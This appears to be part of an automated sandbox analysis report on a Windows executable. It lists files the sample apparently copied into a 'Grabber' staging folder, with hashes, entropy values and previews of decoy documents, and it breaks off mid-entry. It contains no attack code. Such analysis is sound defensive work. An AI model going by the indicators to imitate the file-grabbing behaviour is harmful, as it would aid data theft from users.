C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG\PSAMNLJHZW.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\FACWLRWHGG\ZSSZYEFYMU.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698801429970146
Encrypted:	false
SSDEEP:	24:qYZf7NYgK11E+8TKka0vEdKPG8TQZjtLMiMl+gc:Zk1k3a0Ma18Z4A
MD5:	488BC4EF686937916ECE6285266A6075
SHA1:	498BA8EBDA3DABD222532DB0C0D6262B0C5A7E08
SHA-256:	8DEB161A95E22B50B1BD88EDBBB4312003788B8A6B35D22AEC02CC200FF34C17
SHA-512:	1B7AC223F6277A74893597499F79D674E0798699081B0B2602123B9118E3F68815A951F787E71E5C35589E5AACF987E9C8F669FF9A9F6E94209F15DADEFF40A3
Malicious:	false
Preview:	ZSSZYEFYMUQEKZVPQBMSGZPGFJSTPVKSKKYYOJJIVKJRXMBDCMKBNSXEZOYYLLCVGBCQCKVUSXHLTTLRBHPCNSEMRROKBXFGQJZTBAVNRJJQBKWQYWINUTDWXUKTWQTLFVKQJLRXVFMCOZRZYQJKBITZONPSKVFYGVFRXBDOVYHVEMAQOEYMKHGFIUSMUZFLKRKBNYFQULYASQJWIMXTPKLTXNGJEWMVSDMVYEHMDPUBWHXLMDGALITFYOPNEIQSZIFTQVUSLRLYPKRTXNKPZMOTSFMCTTCARDYTVYJNZYBYCYFEMWWKCHMOTEZUTCREBZPMVCXBYPYANERMGIWQGRLDPRJEURITRIHETMYHEDRHVZWCMDHNFFZGLKKJQGCRIABTVOOSCMRDMCYBMDQOGHUUZIQUDIGWJEDYSILALQBOBHJCJXMYCXWMKWTAZTAUZGCOOYTBWHVSAMUGEMKVHNGWYROVAEWXIOJKNUUAHUZJKSBJBZHYPRMGXULRNKCEDZBZFSCLCLARQDJMLPUKDSUWUIZMUDIKRKQZKQOXAYQYQTWHEIQXYYRXUJUIJQHETOHAPWXNCXFRKNXDPMNGFVZLBDFQUQRTHWUPUFFOEETFIAMWILGGLMPNTNBWFAVUGTBECKTLKLZQTWDYQGKSATWYWCKMJUIBSPWHFOXTNCPNZROSZPOSCRTUVGPSNZPJGXCOSDTDGNOFJGXANNYNPDRWRWHRMJKJZLEGOXMOOUXTCHTTXGYUQDVKJZMOUPMXIJCGGEIUPFMUDPJPVMINFDESCQIALHEUSISIOWESWYRPEKDPMSSUALHIWLZBLYGOHEFVJWNLRWWTIYJVKFFZJKDTZXWMWMLHMPMCDJASZUPRTYGWPHHTFMTSSQIBOUWXAGDKQACWGATARXNPCMQFCVREPARZFKWLUWYDUSCBVSUXEQBCXPUESWMVITZYZKPVGHRQVMKQXDEITVASTNPYLAQHWTYQQEBOGBVRUVAJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MNULNCRIYC.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704010251295094
Encrypted:	false
SSDEEP:	24:/j/sfpWFBIirMexXYVw/K9dKAkzFeHx1x21g4kug4c7xy:/j/vBDZxXYVw/KXjHx/4kuUxy
MD5:	DF05C5F93419C56BFE3A84BDCC929382
SHA1:	36AABBCD46C0F368E18FA602E486816D2578F48E
SHA-256:	F7116531006BD0A5DEE64436C66CE5487C662F72BFBCD235C7407FBF2A3278DE
SHA-512:	EB50E34AA5EE92A7C90AA5BCE11F0693AFAC73C26B04AF9C676E15A24813C52EAF09A4EA3F6490223CABCDB3EB6277E74CB6FF288D3D1871F14B410E950656BA
Malicious:	false
Preview:	MNULNCRIYCLQPFRTTBIRJXLLXDPOIGHIWSMRZAWOWMFPIGBQDOQPBHCVDNAEFVPPKLZOIKPKFYDTDOGMSIUWATNOJJJSNKBWJHKKWMUZDRGJJNWUASOTXKYYIZLCOHDOBJPMAPIXVROTWYIYRPFZWZLECCXJOFYKKMMQGDBCRRZBEIALJQWFBIRGZWKKZNILSZURIFNVYXWPHRMYGXATLINJURPYVWCXYNUAESGKBUAMJTBBSVQQAIZKUVJSGVILJMHXCRFQYYXESEYBSMBQEHOEREHZFHPFENYHMHULCMQJKSSZLDDCMPWESAOKZQCENLMVXZGUVHNVUKXEWENTAXUEHCWCADQIRNYDFQPSQSUSDTQUVKPDYTOYMXIFXIMYDOEFHNJDKHPJDUFNMBXUSNDPQKBSTIVTXYHJYKOGCJMZHQRQQDXTWGEMBAJZIDXHPCGJTNITUFATHMPLPFJLWOPXNLVVCCPOQFCWKUCSSMFUWUXSMBYFBMUPJSINHRBJCPPQTSNUWCSGVBNMGEVXSQAUHMBGCNHVBRKKXPGDWRHAWFZYIGXLNCPKSLAZERFWOQNQAXTGZOWNEPLIJOXTLEMUDNYMQCRGFNMOCSUXSKKUKSNFLMUYAVMFWVWOEHAYJWOLYNYYTGSCYSYAJVUNEZQYLOBOCROMKWXPJGQVMSTNKYJEQCUQCBVMAJBOALKJAPYUEVMIWWFMSPLPSKKZMKNEKPQGDNBVBYHNPDIQEEKXUZLGWXQGDQZEHBMYYFUDFGNLYGARBRCREXIQUUWFEXDYINDKFJACYETJBANLSCEYWEBIPFZEOGUWOHBPBFLDAELAEPFOIZRSYWISCBUYPUAHWUVAIRDXHGXUQNAEDFFRDSODQFGQLGCIHSIWHVUDCTSMIQTMXSFNUPKSLBDPGVPMZPHIEMSXUQSRIGGMHVDMGMPEPCJPZBENUEBMZNZVWTRCVAGRSYRBZLOAETCXTWCINHSWQQFCHATVQRGJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694269844633945
Encrypted:	false
SSDEEP:	24:8fZFmL9j6Vqvtvrd45sdmW5rRO2KEceUJEcnD1:8RFmL9wqY5qmW5VvcpJEq
MD5:	5E40B4BAF83E9A23A02D6AB379018ADE
SHA1:	47E1914E79AF5D1C90B201FA9A2470A6DDE0D2D0
SHA-256:	E4A221B66518E711FA910625864F36100572A341B05960B3A01889E6393860AF
SHA-512:	50B4FC17B8E6A3D6F2AE7E79BC928ECF02344807B7C0103D91C9C9B01846D3026F377511B8792658587CED392F303F3B325DACD669554055A3C4E778E64A5CA9
Malicious:	false
Preview:	MQAWXUYAIKJZDQIPIEWMLSKXQDXCSIBTOUXCXZAQEYMFIPUKEWDRKYXMBFAEAIEBYLJHANJDICKVRWRYTJZOWEFFJPSSDNBTMTPIVXSVKHYSQUVOKIIKOHZRTBEATVKDWNNQBMYUGKPMRHQBAPGBOTHRORULCQYAEBJYXMZFZXEDLVUTMXEOPNUTQDPFDWWNOPYMFDCDNUQUQLYMWMKOJZMRIYBCAFJAEFUVTOUFBQBRUBWQVGDWPIKRITDALHWQSAPYVARQGQLYXLMNTQSLSPAUIWZRRROVEGNTPLNQITTJYFKNXCKERAVXLSGHLBRKTFPMXSSIBZDONXSKHXZFWONPIPTFGNRIYRMYPZXLVXEJJMAHKCIYWPFDAHGCVFRHUEIHZKBVMRMLFSKMOMDMMQZJJAOFNHFAMIBCLCLZHQCIKLOBZLNSVBVCHDOYIHMAWWJNQHZDGKVCOCIRQOYTUFEWAGZWBPNLJFWAKYETACSEZLMIQNOAAWSGVNBZZZMSSEFVSETBVTSMTSAJHDYWLIBJPQUHPXWOPSVWQVVSLPTYOWJGWLXRJOMQMBZSMWLZZDUJIUHYZLUNSOMJMWEUBWYSZMXVDNUGSZBSFDACOIFWETJRIXVPDMSVMTKEKNHJFFXCTPPDKYDXOUOGJAFSXVENTIMFLXNKBWSOIJAZLZTXZGBBMUATMNGOCOLHIAOOTBENXJLNEBPUYZAWEWHZCOBEUXLNOCBFMFNLCFQRYSEURUEVQSEGVPCVNXYOUEBPWYJVBOVZHHSIVQELASLMFLMIGPFTSWZUYAGUCKFCQXXUWMMESTICTHONLUYSPUWOTQKWRRQMUHGZGAAEZOPOKQULFWRPEFDYEONLKPEMDUKCRINZIRUSKDDNYBNBYIIEFYAXNFVFGHEJTHFTUPICAWBETIIANYRONFSQFBHEGJISEQSPFKPRSEZHTQOXRPUKTEUQJYBYNQULHXLSRXNENUVTORORBUHFHDFSRJFI

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK\FACWLRWHGG.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK\MNULNCRIYC.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704010251295094
Encrypted:	false
SSDEEP:	24:/j/sfpWFBIirMexXYVw/K9dKAkzFeHx1x21g4kug4c7xy:/j/vBDZxXYVw/KXjHx/4kuUxy
MD5:	DF05C5F93419C56BFE3A84BDCC929382
SHA1:	36AABBCD46C0F368E18FA602E486816D2578F48E
SHA-256:	F7116531006BD0A5DEE64436C66CE5487C662F72BFBCD235C7407FBF2A3278DE
SHA-512:	EB50E34AA5EE92A7C90AA5BCE11F0693AFAC73C26B04AF9C676E15A24813C52EAF09A4EA3F6490223CABCDB3EB6277E74CB6FF288D3D1871F14B410E950656BA
Malicious:	false
Preview:	MNULNCRIYCLQPFRTTBIRJXLLXDPOIGHIWSMRZAWOWMFPIGBQDOQPBHCVDNAEFVPPKLZOIKPKFYDTDOGMSIUWATNOJJJSNKBWJHKKWMUZDRGJJNWUASOTXKYYIZLCOHDOBJPMAPIXVROTWYIYRPFZWZLECCXJOFYKKMMQGDBCRRZBEIALJQWFBIRGZWKKZNILSZURIFNVYXWPHRMYGXATLINJURPYVWCXYNUAESGKBUAMJTBBSVQQAIZKUVJSGVILJMHXCRFQYYXESEYBSMBQEHOEREHZFHPFENYHMHULCMQJKSSZLDDCMPWESAOKZQCENLMVXZGUVHNVUKXEWENTAXUEHCWCADQIRNYDFQPSQSUSDTQUVKPDYTOYMXIFXIMYDOEFHNJDKHPJDUFNMBXUSNDPQKBSTIVTXYHJYKOGCJMZHQRQQDXTWGEMBAJZIDXHPCGJTNITUFATHMPLPFJLWOPXNLVVCCPOQFCWKUCSSMFUWUXSMBYFBMUPJSINHRBJCPPQTSNUWCSGVBNMGEVXSQAUHMBGCNHVBRKKXPGDWRHAWFZYIGXLNCPKSLAZERFWOQNQAXTGZOWNEPLIJOXTLEMUDNYMQCRGFNMOCSUXSKKUKSNFLMUYAVMFWVWOEHAYJWOLYNYYTGSCYSYAJVUNEZQYLOBOCROMKWXPJGQVMSTNKYJEQCUQCBVMAJBOALKJAPYUEVMIWWFMSPLPSKKZMKNEKPQGDNBVBYHNPDIQEEKXUZLGWXQGDQZEHBMYYFUDFGNLYGARBRCREXIQUUWFEXDYINDKFJACYETJBANLSCEYWEBIPFZEOGUWOHBPBFLDAELAEPFOIZRSYWISCBUYPUAHWUVAIRDXHGXUQNAEDFFRDSODQFGQLGCIHSIWHVUDCTSMIQTMXSFNUPKSLBDPGVPMZPHIEMSXUQSRIGGMHVDMGMPEPCJPZBENUEBMZNZVWTRCVAGRSYRBZLOAETCXTWCINHSWQQFCHATVQRGJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK\MQAWXUYAIK.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694269844633945
Encrypted:	false
SSDEEP:	24:8fZFmL9j6Vqvtvrd45sdmW5rRO2KEceUJEcnD1:8RFmL9wqY5qmW5VvcpJEq
MD5:	5E40B4BAF83E9A23A02D6AB379018ADE
SHA1:	47E1914E79AF5D1C90B201FA9A2470A6DDE0D2D0
SHA-256:	E4A221B66518E711FA910625864F36100572A341B05960B3A01889E6393860AF
SHA-512:	50B4FC17B8E6A3D6F2AE7E79BC928ECF02344807B7C0103D91C9C9B01846D3026F377511B8792658587CED392F303F3B325DACD669554055A3C4E778E64A5CA9
Malicious:	false
Preview:	MQAWXUYAIKJZDQIPIEWMLSKXQDXCSIBTOUXCXZAQEYMFIPUKEWDRKYXMBFAEAIEBYLJHANJDICKVRWRYTJZOWEFFJPSSDNBTMTPIVXSVKHYSQUVOKIIKOHZRTBEATVKDWNNQBMYUGKPMRHQBAPGBOTHRORULCQYAEBJYXMZFZXEDLVUTMXEOPNUTQDPFDWWNOPYMFDCDNUQUQLYMWMKOJZMRIYBCAFJAEFUVTOUFBQBRUBWQVGDWPIKRITDALHWQSAPYVARQGQLYXLMNTQSLSPAUIWZRRROVEGNTPLNQITTJYFKNXCKERAVXLSGHLBRKTFPMXSSIBZDONXSKHXZFWONPIPTFGNRIYRMYPZXLVXEJJMAHKCIYWPFDAHGCVFRHUEIHZKBVMRMLFSKMOMDMMQZJJAOFNHFAMIBCLCLZHQCIKLOBZLNSVBVCHDOYIHMAWWJNQHZDGKVCOCIRQOYTUFEWAGZWBPNLJFWAKYETACSEZLMIQNOAAWSGVNBZZZMSSEFVSETBVTSMTSAJHDYWLIBJPQUHPXWOPSVWQVVSLPTYOWJGWLXRJOMQMBZSMWLZZDUJIUHYZLUNSOMJMWEUBWYSZMXVDNUGSZBSFDACOIFWETJRIXVPDMSVMTKEKNHJFFXCTPPDKYDXOUOGJAFSXVENTIMFLXNKBWSOIJAZLZTXZGBBMUATMNGOCOLHIAOOTBENXJLNEBPUYZAWEWHZCOBEUXLNOCBFMFNLCFQRYSEURUEVQSEGVPCVNXYOUEBPWYJVBOVZHHSIVQELASLMFLMIGPFTSWZUYAGUCKFCQXXUWMMESTICTHONLUYSPUWOTQKWRRQMUHGZGAAEZOPOKQULFWRPEFDYEONLKPEMDUKCRINZIRUSKDDNYBNBYIIEFYAXNFVFGHEJTHFTUPICAWBETIIANYRONFSQFBHEGJISEQSPFKPRSEZHTQOXRPUKTEUQJYBYNQULHXLSRXNENUVTORORBUHFHDFSRJFI

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK\PSAMNLJHZW.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\MQAWXUYAIK\QVTVNIBKSD.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
